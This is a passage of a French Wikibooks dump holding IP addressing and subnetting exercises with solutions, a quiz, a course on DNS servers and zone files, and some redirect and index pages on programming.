donc 105.158.85.126 }} ===EXERCICE 3=== Pour chacune des adresses IP suivantes 200.67.80.45 , 50.98.78.67, 130.89.67.45 : <br/> - indiquez la classe de l’adresse.<br/> - donnez l’adresse du réseau de classe A, B ou C dans lequel se trouve cette adresse.<br/> - donnez l’adresse de broadcast de ce réseau.<br/> - indiquez les adresses IP attribuables à une machine de ce réseau.<br/> {{Boîte déroulante|titre=Solution de l'exercice 3|contenu= *'''Adresse 200.67.80.45''' 200 s’écrit en binaire 1100 1000 ==> l’adresse commence par 110 <br/> Il s’agit donc d’une adresse de classe C.<br/> Elle appartient au réseau 200.67.80.0 de masque 255.255.255.0.<br/> Le host-id de 8 bits peut prendre n’importe quelle valeur sauf celle s’écrivant en binaire avec que des 0 (adresse du réseau) ou que des 1 (adresse de diffusion). On peut donc attribuer à une machine les adresses de 200.67.80.1 à 200.67.80.254. L’adresse de broadcast vaut 200.67.80.255. <br/> *'''Adresse IP 50.98.78.67''' 50 s’écrit en binaire 0011 0010 ==> l’adresse commence par un 0<br/> Il s’agit donc d’une adresse de classe A.<br/> Elle appartient au réseau 50.0.0.0 de masque 255.0.0.0.<br/> Le host-id de 24 bits peut prendre n’importe quelle adresse sauf celle s’écrivant en binaire avec que des 0 (adresse du réseau) ou que des 1 (adresse de diffusion).<br/> On peut donc attribuer à une machine les adresses de 50.0.0.1 à 50.255.255.254.<br/> L’adresse de broadcast vaut 50.255.255.255. <br/> *'''Adresse 130.89.67.45''' 130 s’écrit en binaire 1000 0010 ==> l’adresse commence par 10<br/> Il s’agit donc d’une adresse de classe B<br/> Elle appartient au réseau 130.89.0.0 de masque 255.255.0.0<br/> Le host-id de 16 bits peut prendre n’importe quelle adresse sauf celle s’écrivant en binaire avec que des 0 (adresse du réseau) ou que des 1 (adresse de diffusion).<br/> On peut donc attribuer à une machine les adresses de 130.89.0.1 à 130.89.255.254<br/> L’adresse de broadcast vaut 130.89.255.255<br/> }} ===EXERCICE 4=== a) Découpez en 16 sous-réseaux le réseau 150.27.0.0 de masque 255.255.0.0 Indiquez pour chaque sous-réseau la liste des adresses attribuables à une machine ainsi que l’adresse de diffusion. <br/> {{Boîte déroulante|titre=Solution de l'exercice 4a)|contenu= L’ancien masque 255.255.0.0 comporte 16 bits à 1. <br/> On découpe en 16=24. On rajoute donc 4 bits à 1 au masque.<br/> La masque de chaque sous-réseau est donc 255.255.(1111 0000).0 soit 255.255.240.0<br/> Le nouveau net-id comportera 20 bits. Les 16 premiers bits seront ceux l’écriture en binaire de 150.27. Les 4 derniers pourront prendre n’importe quelle valeur saut 0000 et 1111. Il y aura donc 14 sous-réseaux utilisables.<br/> L’adresse du réseau sera obtenue en mettant à 0 tous les bits du host-id.<br/> <br/> Les adresses des sous-réseaux sont donc :<br/> 150.27.(0001 0000).0 soit 150.27.16.0<br/> 150.27.(0010 0000).0 soit 150.27.32.0<br/> 150.27.(0011 0000).0 soit 150.27.48.0<br/> 150.27.(0100 0000).0 soit 150.27.64.0<br/> 150.27.(0101 0000).0 soit 150.27.80.0<br/> 150.27.(0110 0000).0 soit 150.27.96.0<br/> 150.27.(0111 0000).0 soit 150.27.112.0<br/> 150.27.(1000 0000).0 soit 150.27.128.0<br/> 150.27.(1001 0000).0 soit 150.27.144.0<br/> 150.27.(1010 0000).0 soit 150.27.160.0<br/> 150.27.(1011 0000).0 soit 150.27.176.0<br/> 150.27.(1100 0000).0 soit 150.27.192.0<br/> 150.27.(1101 0000).0 soit 150.27.208.0<br/> 150.27.(1110 0000).0 soit 150.27.224.0<br/> <br/> L’adresse de broadcast est obtenue en mettant à 1 tous les bits du host-id.<br/> Les adresses de broadcast sont donc :<br/> 150.27.(0001 1111).255 soit 150.27.31.255<br/> 150.27.(0010 1111).255 soit 150.27.47.255<br/> 150.27.(0011 1111).255 soit 150.27.63.255<br/> 150.27.(0100 1111).255 soit 150.27.79.255<br/> 150.27.(0101 1111).255 soit 150.27.95.255<br/> 150.27.(0110 1111).255 soit 150.27.111.255<br/> 150.27.(0111 1111).255 soit 150.27.127.255<br/> 150.27.(1000 1111).255 soit 150.27.143.255<br/> 150.27.(1001 1111).255 soit 150.27.159.255<br/> 150.27.(1010 1111).255 soit 150.27.175.255<br/> 150.27.(1011 1111).255 soit 150.27.191.255<br/> 150.27.(1100 1111).255 soit 150.27.207.255<br/> 150.27.(1101 1111).255 soit 150.27.223.255<br/> 150.27.(1110 1111).255 soit 150.27.239.255<br/> <br/> Le host-id peut prendre n’importe quelle valeur sauf celle comportant que des 0 ou que des 1. Pour chaque sous-réseau, on peut donc attribuer une machine les adresses :<br/> de 150.27.(0001 0000).1 soit 150.27.16.1 à 150.27.(0001 1111).254 soit 150.27.31.254<br/> de 150.27.(0010 0000).1 soit 150.27.32.1 à 150.27.(0010 1111).254 soit 150.27.47.254<br/> de 150.27.(0011 0000).1 soit 150.27.48.1 à 150.27.(0011 1111).254 soit 150.27.63.254<br/> de 150.27.(0100 0000).1 soit 150.27.64.1 à 150.27.(0100 1111).254 soit 150.27.79.254<br/> de 150.27.(0101 0000).1 soit 150.27.80.1 à 150.27.(0101 1111).254 soit 150.27.95.254<br/> de 150.27.(0110 0000).1 soit 150.27.96.1 à 150.27.(0110 1111).254 soit 150.27.111.254<br/> de 150.27.(0111 0000).1 soit 150.27.112.1 à 150.27.(0111 1111).254 soit 150.27.127.254<br/> de 150.27.(1000 0000).1 soit 150.27.128.1 à 150.27.(1000 1111).254 soit 150.27.143.254<br/> de 150.27.(1001 0000).1 soit 150.27.144.1 à 150.27.(1001 1111).254 soit 150.27.159.254<br/> de 150.27.(1010 0000).1 soit 150.27.160.1 à 150.27.(1010 1111).254 soit 150.27.175.254<br/> de 150.27.(1011 0000).1 soit 150.27.176.1 à 150.27.(1011 1111).254 soit 150.27.191.254<br/> de 150.27.(1100 0000).1 soit 150.27.192.1 à 150.27.(1100 1111).254 soit 150.27.207.254<br/> de 150.27.(1101 0000).1 soit 150.27.208.1 à 150.27.(1101 1111).254 soit 150.27.223.254<br/> de 150.27.(1111 0000).1 soit 150.27.224.1 à 150.27.(1110 1111).254 soit 150.27.239.254<br/> }} b) Redécoupez en 8 sous-réseaux le troisième sous-réseau utilisable parmi ces 16. Combien de machines au maximum peuvent contenir chacun de ces sous-réseaux ? {{Boîte déroulante|titre=Solution de l'exercice 4b)|contenu= Il s’agit de découper en 8 le réseau 150.27.48.0 de masque 255.255.240.0 <br/> <br/> Le masque comporte 20 bits à 1. <br/> On découpe en 8=23. On rajoute donc 3 bits à 1 au masque. <br/> La masque de chaque sous-réseau est donc 255.255.(1111 1110).0 soit 255.255.254.0 <br/> <br/> L’adresse du réseau s’écrit 150.27.(0011 0000).0 soit <br/> Le nouveau net-id comportera 23 bits. Les 20 premiers bits seront 150.27.(0011) Les 3 derniers pourront prendre n’importe quelle valeur saut 000 et 111. Il y aura donc 6 sous-réseaux utilisables. <br/> L’adresse du réseau sera obtenue en mettant à 0 tous les bits du host-id. <br/> <br/> Les adresses des sous-réseaux sont donc : <br/> 150.27.(0011 001 0).0 soit 150.27.50.0 <br/> 150.27.(0011 010 0).0 soit 150.27.52.0 <br/> 150.27.(0011 011 0).0 soit 150.27.54.0 <br/> 150.27.(0011 100 0).0 soit 150.27.56.0 <br/> 150.27.(0011 101 0).0 soit 150.27.58.0 <br/> 150.27.(0011 110 0).0 soit 150.27.60.0 <br/> Le host-id de chaque sous-réseau comporte 32-23=9 bits. Les adresses des broadcast (diffusion) et de réseau ne peuvent pas être attribuée à une machine. Chaque sous-réseau, peut donc contenir au maximum 2^9-2=510 machines. }} == QCM relatif à l'adressage IP== *1. L'adresse 180.30.17.20 est une adresse de classe : <br/> <br/> a) A <br/> b) B<br/> c) C <br/> d) D<br/> {{Boîte déroulante|titre=Solution de question 1|contenu= REPONSE b) <br/>En effet 180 est compris entre 128 et 191. L'adresse appartient donc à un réseau de classe B. }} *2. Si l'administrateur donne deux fois la même adresse IP à 2 machines différentes du réseau, que se passe-t-il ?<br/> a) Les deux machines marchent très bien.<br/> b) La première machine à obtenir l'adresse IP du réseau marche mais pas la deuxième.<br/> c) Aucune machine ne marche.<br/> d) Le débit est partagé entre les 2 machines.<br/> {{Boîte déroulante|titre=Solution de question 2|contenu= REPONSE c) }} *3. Un réseau de classe B est découpé en plusieurs sous-réseaux et on obtient un masque final valant 255.255.252.0. En combien de sous-réseaux le réseau de départ a-t-il été découpé ?<br/> a) 32<br/> b) 64 <br/> c) 128<br/> d) 256<br/> {{Boîte déroulante|titre=Solution de question 3|contenu= REPONSE b)<br/> Le net-id comporte 22 bits. Dans un réseau de classe B, le net-id comporte 16 bits. Le réseau a donc été découpé en 2^6=64 }} *4.Un réseau a comme adresse 180.35.128.0 de masque 255.255.240.0. Quelle est l'adresse de broadcast ?<br/> a) 180.35.255.255<br/> b) 180.35.143.255<br/> c) 180.35.159.25<br/> d) 180.35.192.255<br/> {{Boîte déroulante|titre=Solution de question 4|contenu= REPONSE b) <br/> Le net-id comporte 20 bits. L'adresse de broadcast est donc 180.35.(1000 1111).255=180.35.143.255 }} *5.Un réseau a comme masque 255.255.255.224. Combien de machines peut-il y avoir sur un tel réseau ? a) 254<br/> b) 128 <br/> c) 224<br/> d) 30<br/> {{Boîte déroulante|titre=Solution de question 5|contenu= REPONSE d) <br/> Le net-id de départ comporte 8+8+8+3=27 bits à 1. Le host-id comporte donc 5 bits. Il peut donc y avoir 2^5-2=30 machines sur le réseau. }} *6.Sur un réseau TCP/IP qui fixe l'adresse IP d'une machine ?<br/> a) Le constructeur de la carte éthernet.<br/> b) elle est fixée au hasard lors du boot.<br/> c) L'administrateur du réseau.<br/> d) Le chef du département.<br/> {{Boîte déroulante|titre=Solution de question 6|contenu= REPONSE c) }} *7.Une machine a comme adresse IP 150.56.188.80 et se trouve dans un réseau dont le masque est 255.255.240.0. Quelle est l'adresse du réseau ?<br/> a) 150.56.0.0 <br/> b) 150.56.128.0<br/> c) 150.56.176.0<br/> d) 150.56.192.0<br/> {{Boîte déroulante|titre=Solution de question 7|contenu= REPONSE c) <br/> 188 s'écrit en base 2 : 10111100. Le net-id fait 20 bits. L'adresse réseau est obtenue en mettant tous les bits du host-id à 0. On obtient donc 150.56.(1011 0000).0=150.56.176.0 }} *8.On découpe un réseau dont le masque est 255.255.224.0 en 16 sous-réseaux. Quel est le nouveau masque ?<br/> a) 255.255.254.0 <br/> b) 255.255.255.0 <br/> c) 255.255.252.0 <br/> d) 255.255.255.0<br/> {{Boîte déroulante|titre=Solution de question 8|contenu= REPONSE a) <br/> L'ancien net-id fait 19 bits. En découpant en 16, on rajoute 4 bits au net-id, soit 23 bits. Le nouveau masque est donc 255.255.(1111 1110).0 soit 255.255.254.0 }} *9.Lorsque le protocole IP est utilisé au dessus du protocole éthernet, l'adresse IP à la même valeur que l'adresse éthernet ?<br/> a) VRAI <br/> b) FAUX<br/> c) cela dépend<br/> {{Boîte déroulante|titre=Solution de question 9|contenu= REPONSE b) <br/> C'est ridicule car l'adresse éthernet fait 48 bits et est déterminée par le constructeur de la carte alors que l'adresse IP fait 32 bits et est déterminée par l'administrateur de réseau. }} *10.Le protocole IP permet d'interconnecter un réseau de classe A avec un réseau de classe C.<br/> a) VRAI<br/> b) FAUX<br/> {{Boîte déroulante|titre=Solution de question 10|contenu= REPONSE a) IP permet d'interconnecter des réseaux de taille très variables. <br/> }} Programmation Javascript 6599 29450 2006-01-20T13:59:49Z Boly38 136 [[Programmation Javascript]] déplacé vers [[Programmation JavaScript]]: voir [[w:fr:Discuter:JavaScript]] #REDIRECT [[Programmation JavaScript]] Programmation javascript sommaire détaillé 6601 29454 2006-01-20T14:00:31Z Boly38 136 [[Programmation javascript sommaire détaillé]] déplacé vers [[Programmation JavaScript/Sommaire]]: sous pages avec '/' #REDIRECT [[Programmation JavaScript/Sommaire]] Programmation javascript Introduction 6602 29456 2006-01-20T14:01:21Z Boly38 136 [[Programmation javascript Introduction]] déplacé vers [[Programmation JavaScript/Introduction]]: sous pages avec '/' #REDIRECT [[Programmation JavaScript/Introduction]] Programmation javascript syntaxe ligne d'instruction 6603 29459 2006-01-20T14:03:13Z Boly38 136 [[Programmation javascript syntaxe ligne d'instruction]] déplacé vers [[Programmation JavaScript/Ligne d'instruction]]: sous pages avec '/' #REDIRECT [[Programmation JavaScript/Ligne d'instruction]] Programmation javascript syntaxe bloc d'instructions 6604 29461 2006-01-20T14:03:49Z Boly38 136 [[Programmation javascript syntaxe bloc d'instructions]] déplacé vers [[Programmation JavaScript/Bloc d'instructions]]: sous pages avec '/' #REDIRECT [[Programmation JavaScript/Bloc d'instructions]] Programmation javascript syntaxe identificateurs 6605 29463 2006-01-20T14:04:32Z Boly38 136 [[Programmation javascript syntaxe identificateurs]] déplacé vers [[Programmation JavaScript/Identificateurs]]: sous pages avec '/' #REDIRECT [[Programmation JavaScript/Identificateurs]] Programmation javascript syntaxe expression littérale 6606 29465 2006-01-20T14:05:11Z Boly38 136 [[Programmation javascript syntaxe expression littérale]] déplacé vers [[Programmation JavaScript/Expression littérale]]: sous pages avec '/' #REDIRECT [[Programmation JavaScript/Expression littérale]] Programmation javascript syntaxe commentaire 6607 29467 2006-01-20T14:05:33Z Boly38 136 [[Programmation javascript syntaxe commentaire]] déplacé vers [[Programmation JavaScript/Commentaire]]: sous pages avec '/' #REDIRECT [[Programmation JavaScript/Commentaire]] Programmation javascript syntaxe mots réservés 6608 29469 2006-01-20T14:05:57Z Boly38 136 [[Programmation javascript syntaxe mots réservés]] déplacé vers [[Programmation JavaScript/Mots réservés]]: sous pages avec '/' #REDIRECT [[Programmation JavaScript/Mots réservés]] Programmation javascript syntaxe variables 6609 29471 2006-01-20T14:06:25Z Boly38 136 [[Programmation javascript syntaxe variables]] déplacé vers [[Programmation JavaScript/Variables]]: sous pages avec '/' #REDIRECT [[Programmation JavaScript/Variables]] Programmation javascript syntaxe opérateurs 6610 29473 2006-01-20T14:06:54Z Boly38 136 [[Programmation javascript syntaxe opérateurs]] déplacé vers [[Programmation JavaScript/Opérateurs]]: sous pages avec '/' #REDIRECT [[Programmation JavaScript/Opérateurs]] Programmation javascript syntaxe structures de contrôle 6611 29475 2006-01-20T14:07:16Z Boly38 136 [[Programmation javascript syntaxe structures de contrôle]] déplacé vers [[Programmation JavaScript/Structures de contrôle]]: sous pages avec '/' #REDIRECT [[Programmation JavaScript/Structures de contrôle]] Modèle:Programmation javascript 6612 29478 2006-01-20T14:09:09Z Boly38 136 [[Modèle:Programmation javascript]] déplacé vers [[Modèle:Programmation JavaScript]]: typo des créateurs #REDIRECT [[Modèle:Programmation JavaScript]] Programmation JavaScript/Informations 6613 29485 2006-01-20T14:29:35Z Boly38 136 création depuis [[Programmation JavaScript]] +rectif suite renommage ===Informations=== * '''Aide : ''' ** [[Discuter:Programmation Javascript|Laisser un message]] ** {{en}} [[:en:Programming:JavaScript|Programming:JavaScript]] * '''Modèles disponibles : ''' ** [[:Modèle:Programmation JavaScript|<nowiki>{{Programmation JavaScript}}</nowiki>]] ** [[:Modèle:Cadre code|<nowiki>{{cadre code}}</nowiki>]] ** [[:Modèle:Cadre fichier|<nowiki>{{cadre fichier}}</nowiki>]]) * '''À faire''' : ** compléter ** illustrer avec des exemples ** ... Réseaux TCP/IP : les serveurs DNS 6614 45806 2006-06-26T14:58:53Z 217.109.171.226 /* Interconnexion de réseaux */ {{Reseaux TCP/IP}} [[Reseaux_TCP/IP|Retour au sommaire]] == Le cours sur les serveurs DNS== === Adresse FQDN=== Dans un réseau TCP/IP, chaque machine possède une adresse FQDN (Fully Qualified Domain Name) encore appelée nom qualifié. <br/> '''Exemple : '''iutainfo.univ-lyon1.fr === Résolution de noms directe=== Dans un réseau IP, lorsqu’une machine A veut communiquer avec une machine B, la machine A connaît le nom FQDN de B. <br/> Par exemple, lorsqu’on navigue sur le net, on connaît en général le nom FQDN des serveurs qu’on visite (exemple www.microsoft.fr).<br/> Pour que A puisse communiquer avec B grâce au protocole IP, A va avoir besoin de connaître l’adresse IP de B. <br/> A doit posséder un moyen d’effectuer la résolution de noms directe, c’est-à-dire un moyen de trouver l’adresse IP de B à partir de son nom qualifié.<br/> Le resolver est le programme chargé de cette opération. <br/> === Résolution de noms inverse=== La machine B reçoit un datagramme IP en provenance de A. Ce datagramme contient l’adresse IP de A. B a souvent besoin de connaître le nom FQDN de la machine A.<br/> B doit donc être capable de trouver le nom FQDN de A à partir de son adresse IP. C’est ce qu’on appelle la résolution de noms inverse. <br/> Le resolver est également chargé de cette opération. <br/> === Résolution de noms par fichier host=== Un fichier comprend l ’adresse FQDN de chaque machine du réseau ainsi que son adresse IP. Cette méthode n’est envisageable que pour les réseaux très petits. === Résolution de nom par serveur DNS=== On installe un serveur de noms sur le réseau. Chaque machine du réseau doit connaître l’adresse IP de ce serveur DNS. Dès qu’une machine veut effectuer une résolution de noms directe ou inverse, elle va interroger le serveur de noms. L’administrateur doit configurer le serveur de noms pour que ce dernier connaissent l’adresse IP et le nom de toutes les machines du réseau. ===Zones directes et inverses=== *Dans un réseau TCP/IP, chaque machine doit être capable de faire de la résolution de noms directe sur les adresses FQDN de toutes les machines du réseau. *Chaque machine doit aussi être capable de faire de la résolution de noms inverses sur toutes les adresses IP du réseau. *'''exemple : '''<br/> Un réseau IP utilise les adresses IP 200.201.202.0 de masque 255.255.255.0. <br/> Ce réseau comporte 3 machines A, B et C d'adresse respective 200.201.202.1, 200.201.202.2 et 200.201.202.3.<br/> Toutes les machines sont dans le domaine de noms toto.fr. Les adresses FQDN de A, B et C sont donc A.toto.fr., B.toto.fr. et C.toto.fr.<br/> Nous allons installer un serveur DNS sur la machine C. <br/> '''Zone directe''' <br/> C doit être capable à partir de n'importe quel nom du type *.toto.fr de fournir l'adresse IP de la machine.<br/> Dans le jargon TCP/IP, on dit que C a autorité sur la zone toto.fr. <br/> Cette zone sert à faire de la résolution de noms directe. <br/> '''Zone inverse''' <br/> C doit être capable à partir de n'importe quelle adresse IP du type 200.201.202.* de fournir l'adresse FQDN de la machine. <br/> Dans le jargon TCP/IP, on dit que C a autorité sur la zone 202.201.200.IN-ADDR.ARPA.<br/> Cette zone sert à faire de la résolution de noms inverse. <br/> '''Récapitulatif''' <br/> Notre serveur DNS a donc autorité sur 2 zones :<br/> toto.fr. <br/> 202.201.200.IN-ADDR.ARPA. <br/> La configuration de chaque zone est écrite dans un fichier de zone.<br/> ===Panne d'un serveur DNS=== *Un serveur DNS est un élément vital sur un réseau. S'il tombe en panne, les machines du réseau sont incapables de communiquer entre elles. *De plus, un serveur de noms DNS qui reçoit des requêtes de millions de machines peut être saturé. *Le réseau entre une machine et son serveur DNS peut également tomber en panne. *Dans les 3 cas, tout le réseau est en panne. === Amélioration de la résistance aux pannes=== *Pour améliorer la résistance aux pannes du réseau, on installe des serveurs de noms secondaires. *Tout comme les serveurs primaires, ils sont capables de faire de la résolution de noms directe et inverse sur différentes zones. *Un serveur secondaire s’installe lorsque le serveur DNS primaire est en marche (pas après la panne). ===Configuration d'un DNS secondaire === Tout serveur secondaire pour une zone donnée doit connaître l'adresse IP du serveur de noms primaire qui a autorité sur cette zone. <br/> Lorsqu'on lance le serveur secondaire, il va interroger le serveur de noms primaire pour obtenir une copie du fichier de zone. <br/> Pour une zone donnée, il ne peut y avoir qu'un seul serveur de noms primaire. <br/> Par contre, il peut y avoir de nombreux serveurs de noms secondaires. <br/> ===Configuration des postes clients === Chaque machine doit connaître une liste de serveurs DNS primaires ou secondaires Cette liste doit comporter au moins un élément. Lorsqu’aucun serveur DNS n’est en panne, la machine va interroger en permanence le premier serveur de la liste. ===Serveur DNS en panne=== Si la machine interroge le premier serveur DNS de la liste et que celui-ci ne répond pas, la machine va interroger le deuxième de la liste. Si le deuxième ne répond pas on interroge le troisième. Si tous les serveurs DNS sont en panne,tout le réseau est en panne !!!<br/> '''Remarque :'''si la machine interroge le premier serveur DNS de la liste et que celui-ci répond pas que la machine n’existe pas, la machine ne va pas interroger le deuxième de la liste ===Répartition de la charge === Le premier serveur DNS de la liste n’est pas forcément le serveur primaire. <br/> Si le réseau contient un DNS primaire A et 2 serveurs secondaires B et C, il est bon de répartir la charge entre A, B et C : <br/> 1/3 des machines aura comme liste A, B et C <br/> 1/3 des machines aura comme liste B, C et A <br/> 1/3 des machines aura comme liste C, A et B <br/> ===Mise à jour d'un serveur DNS primaire === La mise à jour des serveurs de noms primaires est effectuée par l'administrateur de réseau. Il doit rentrer chaque machine du réseau dans la zone directe et dans la zone inverse. ===Mise à jour d'un serveur DNS secondaire === La mise à jour des serveurs de noms secondaires est automatique. Chaque serveur de noms secondaire doit interroger à intervalle de temps régulier (par exemple toutes les 3 heures) le serveur de noms primaire et il met à jour sa copie locale du fichier de zone.<br/> ===Un problème lié à la mise à jour du DNS === L'administrateur met à jour un serveur de noms primaire et lui rajoute une machine Si le serveur de noms secondaires se met à jour toutes les 3 heures, il peut se passer un délai de plusieurs heures avant que les serveurs de noms secondaires soient à jour. Cela peut être très gênant pour le fonctionnement du réseau : la machine qu’on vient de rajouter est inaccessible. L ’administrateur peut forcer « à la main » la mise à jour du serveur secondaire mais ce n ’est pas très pratique. ===Notification=== De manière optionnelle, l'administrateur peut mettre en oeuvre la notification. Le serveur de noms primaire doit connaitre les adresses IP des serveurs de noms secondaires. Dès que l'administrateur met à jour le serveur de noms primaires, celui-ci envoie automatiquement un message à tous les serveurs de noms secondaires qui se mettent alors à jour immédiatement. ===Interconnexion de réseaux=== Supposons que 3 réseaux éthernet A, B et C soient interconnectés par un routeur R <br/> A est le réseau 192.168.1.0 /24 <br/> B est le réseau 192.168.2.0 /24 <br/> C est le réseau 192.168.3.0 /24 <br/> Toutes les machines du réseau peuvent avoir le même domaine direct toto.fr<br/> *'''Installation d'un serveur DNS primaire''' **Sur un tel réseau, on peut très bien n’installer qu’un seul serveur DNS sur le réseau A par exemple. Nous appelerons ce serveur DNS-A. **Toutes les machines attaqueront dans ce cas le même serveur DNS : il n’est pas obligatoire qu’un serveur DNS soit sur le même réseau qu’une machine. *'''Zones directes et inverses''' Le serveur DNS-A aura autorité sur 4 zones **toto.fr **1.168.192.IN-ADDR.ARPA **2.168.192.IN-ADDR.ARPA **3.168.192.IN-ADDR.ARPA *'''Résistance aux pannes''' **Pour améliorer la résistance aux pannes, il est toutefois conseillé d’installer un serveur DNS sur chaque réseau. **Nous installerons donc 2 serveurs DNS secondaires DNS-B et DBS-C respectivement sur les réseau B et C. ** Chacun de ces serveurs DNS secondaire aura autorité sur les 4 zones mais sera serveur DNS secondaire pour ces zones. **Chaque machine interrogera en premier le serveur DNS le plus proche d ’elle. *'''Configuration des postes clients''' **Chaque poste client interrogera en premier les serveurs DNS en commençant par le plus proche. **Les machines du réseau A auront comme liste de serveurs DNS : DNS-A, DNS-B et DNS-C. **Les machines du réseau B auront comme liste de serveurs DNS : DNS-B, DNS-C et DNS-A. **Les machines du réseau C auront comme liste de serveurs DNS : DNS-C, DNS-A et DNS-B. **Ce choix assure en plus une meilleure resistance aux pannes en cas de panne de R.Il faudra également configurer sur chaque machine le nom du domaine direct. ===Quelques notions sur les fichiers de zone=== * La configuration de chaque zone est décrite dans un fichier texte appelé fichier de zone. *Le fichiers de zone est constitué d ’enregistrements. *Il existe de nombreux types d ’enregistrements : NS, SOA, A, PTR, ... * En général, on utilise un logiciel de configuration qui écrit automatiquement les fichiers de zone. ===Les enregistrements NS=== Ils permettent de spécifier les serveurs de noms ayant autorité sur le domaine.<br/> '''Exemple : '''<br/> <pre>toto.fr IN NS serveur.toto.fr.</pre> Cet enregistrement indique que la machine d'adresse FQDN serveur.toto.fr a autorité sur toto.fr. Chaque fichier de zone comporte en général un tel enregistrement. === Les enregistrements SOA === Ils permettent de fixer des paramètres en secondes qui sont utilisés lorsqu’il y a des serveurs DNS secondaires.<br/> '''Exemple :'''<br/> <pre> toto.fr IN SOA serveur.toto.fr. admin@serveur.toto.fr. (32 ; numéro de version du fichier 10800 ; temps de rafraîchissement des serveurs secondaires 600 ; temps avant une nouvelle tentative si le rafraîchissement a échoué 86400 ; temps au bout duquel, le serveur secondaire considère que ses informations sont obsolètes s’il n’a pas pu contacter le primaire 3600) ; durée de vie d ’un enregistrement </pre> Cet enregistrement comporte * le nom de la zone toto.fr. Pour parler de la zone courrante on aurait pu indiquer @ à la place de toto.fr. * IN SOA qui indique le type de l'enregistrement. * l'adresse FQDN du serveur primaire. Ici : serveur.toto.fr. * l'adresse e-mail de l'administrateur. Ici : admin@serveur.toto.fr. * Le numéro de version du fichier - ici 32. A chaque modification du ficher de zone ce numéro doit être incrémenté de 1. Il permet aux serveurs DNS secondaires de savoir s'ils possèdent ou non la dernière version du fichier de zone. * le temps de rafraichissement : ici 10800 secondes= 3h. Toutes les 3 heures, les serveurs DNS secondaires doivent contacter le primaire et éventuellement mettre à jour leur ficher de zone. * le temps avant un nouvel essai - ici 600 secondes soit 10 minutes. Si l'opération précédente a échoué (le serveur primaire rebootait ou le réseau était momentanément en panne,...), les serveurs DNS secondaires vont essayer de se mettre à jour toutes les 10 minutes jusqu'à ce qu'ils y arrivent. Ils reprennent ensuite leur cycle de mise à jour toutes les 3 heures. * le temps d'expiration b - ici 86400 secondes soit 24 heures. Si le DNS secondaire n'arrive pas à contacter le primaire, ils vont fonctionner de manière autonome durant 24h ensuite ils considèreront leur information comme étant obsolètes et ils cesseront de fonctionner. * durée de vie d'un enregistrement (TTL)- ici 3600 secondes soit 1 heure. La durée de vie d'un enregistrement permet de déterminer le temps durant lequel une copie de cet enregistrement peut être conservée dans un cache. === Enregistrements de type A === Ils se trouvent dans la zone directe et permet d ’associer une adresse FQDN à une adresse IP. En général, chaque machine possède un enregistrement de type A dans se zone directe. <br/> '''Exemple : '''<br/> <pre>pc1.toto.fr. IN A 200.50.30.14</pre> === Enregistrements de type PTR === Il se trouvent dans la zone inverse et permet d ’associer la dernière partie d ’une adresse IP à une adresse FQDN. L'adresse IP est écrire "à l'envers" et se termine par in-addr.arpa (!). En général, chaque machine possède un enregistrement de type PTR dans sa zone inverse.<br/> '''Exemple : ''' <pre> 14.12.50.200.in-addr.arpa IN PTR pc1.toto.fr. </pre> === Exemple de fichier de zone === *''''Présentation'''<br/> Un réseau utilise les adresses 200.50.12.0 /24 et le nom de domaine toto.fr Le réseau comporte 3 machines pc1 (adresse IP 200.50.12.1), pc2 (adresse IP 200.50.12.2) et pc3 (adresse IP 200.50.12.3). pc3 est le serveur DNS du réseau. * '''Zones'''<br:> pc3 a autorité sur la zone directe toto.fr et sur la zone inverse 12.50.200.IN-ADDR.ARPA * '''Fichier de zone de toto.fr'''<br/> <pre> @ IN SOA pc3.toto.fr. administrateur@pc3.toto.fr. ( 2 ; serial number 3600 ; refresh 600 ; retry 86400 ; expire 3600 ) ; minimum TTL @ IN NS pc3.toto.fr. pc1.toto.fr. IN A 200.50.12.1 pc2.toto.fr. IN A 200.50.12.2 pc3.toto.fr. IN A 200.50.12.3 </pre> === Fichier de zone de 12.50.200.in-addr.arpa === <pre> @ IN SOA pc3.toto.fr. administrateur@pc3.toto.fr. ( 2 ; serial number 3600 ; refresh 600 ; retry 86400 ; expire 3600 ) ; minimum TTL @ IN NS pc3.toto.fr. 1.12.50.200.in-addr.arpa IN PTR pc1.toto.fr. 2.12.50.200.in-addr.arpa IN PTR pc2.toto.fr. 3.12.50.200.in-addr.arpa IN PTR pc3.toto.fr. </pre> ===Interconnexion de serveurs DNS=== Sur Internet, les différents serveurs DNS se connaissent mutuellement. Imaginons la situation suivante : l'utilisateur de la machine X du réseau local de l'entreprise toto utilise Internet Explorer et tape :''' www.microsoft.com'''.Cette machine a besoin de connaître l'adresse IP de ma machine portant le nom www.microsoft.com. *'''Les différents serveurs DNS''' **S1 est le serveur DNS de l'entreprise toto. Il a autorité sur toto.fr. **S2 est le serveur DNS de l'entreprise microsoft. Il a autorité sur microsoft.com. **S3 est le serveur DNS ayant autorité sur .fr. **S4 est le serveur DNS ayant autorité sur .com. **S5 est un serveur racine d'Internet qui a autorité sur . * '''Shéma d'une résolution''' ** La machine voulant faire la résolution interrroge S1. **S1 ne connait pas l'adresse IP de www.microsoft.fr. Il interroge S3, qui n'a pas la réponse mais qui fournit à S1 l'adresse IP de S5. ** S1 interroge S5 qui n'a pas la réponse mais qui fournit à S1 l'adresse IP de S4. ** S1 interroge S4 qui n'a pas la réponse mais qui fournit à S1 l'adresse IP de S2. ** S1 interroge S2 qui a autorité sur microsoft.com et qui connait donc l'adresse IP de la machine www.microsoft.com. S2 envoie à S1 cette adresse IP. ** S1 fournit la réponse à la machine de départ. ==Liens internes== *[[w:DNS| DNS]] : Quelques notions sur les DNS. *[[w:Serveurs_DNS_Racine|Serveurs DNS racine]] : présentation des serveurs DNS racines. Programmation/Paradigmes de programmation 6618 29543 2006-01-20T16:06:33Z Boly38 136 création depuis [[Programmation]] === [[Programmation/Paradigmes de programmation|Paradigmes de programmation]] === 2. [[Les différents paradigmes de programmation]] *[[Programmation impérative]] *[[Programmation orientée objet]] *[[Programmation orientée aspect]] *[[Programmation par contrat]] *[[Programmation fonctionnelle]] *[[Programmation logique]] 3. [[Programmation Algorithmique|Algorithmique]] *[[programmation_LDA|LDA]] 4. [[Objectifs de la programmation]] *[[Programmation Automatisation de tâches|Automatisation de tâches]] *[[Programmation Programmation système|Programmation système]] *[[Programmation Applications d'entreprise|Applications d'entreprise]] *[[Programmation Jeux vidéos et multimédia|Jeux vidéos et multimédia]] Programmation/Langages de programmation 6619 46510 2006-06-29T16:22:52Z 128.178.13.65 /* M à Q */ ===[[Programmation/Langages de programmation|Langages de programmation]]=== 5. [[Langages de programmation]] ====A==== *[[Programmation ABAP|ABAP]] *[[Programmation Actionscript|Actionscript]] 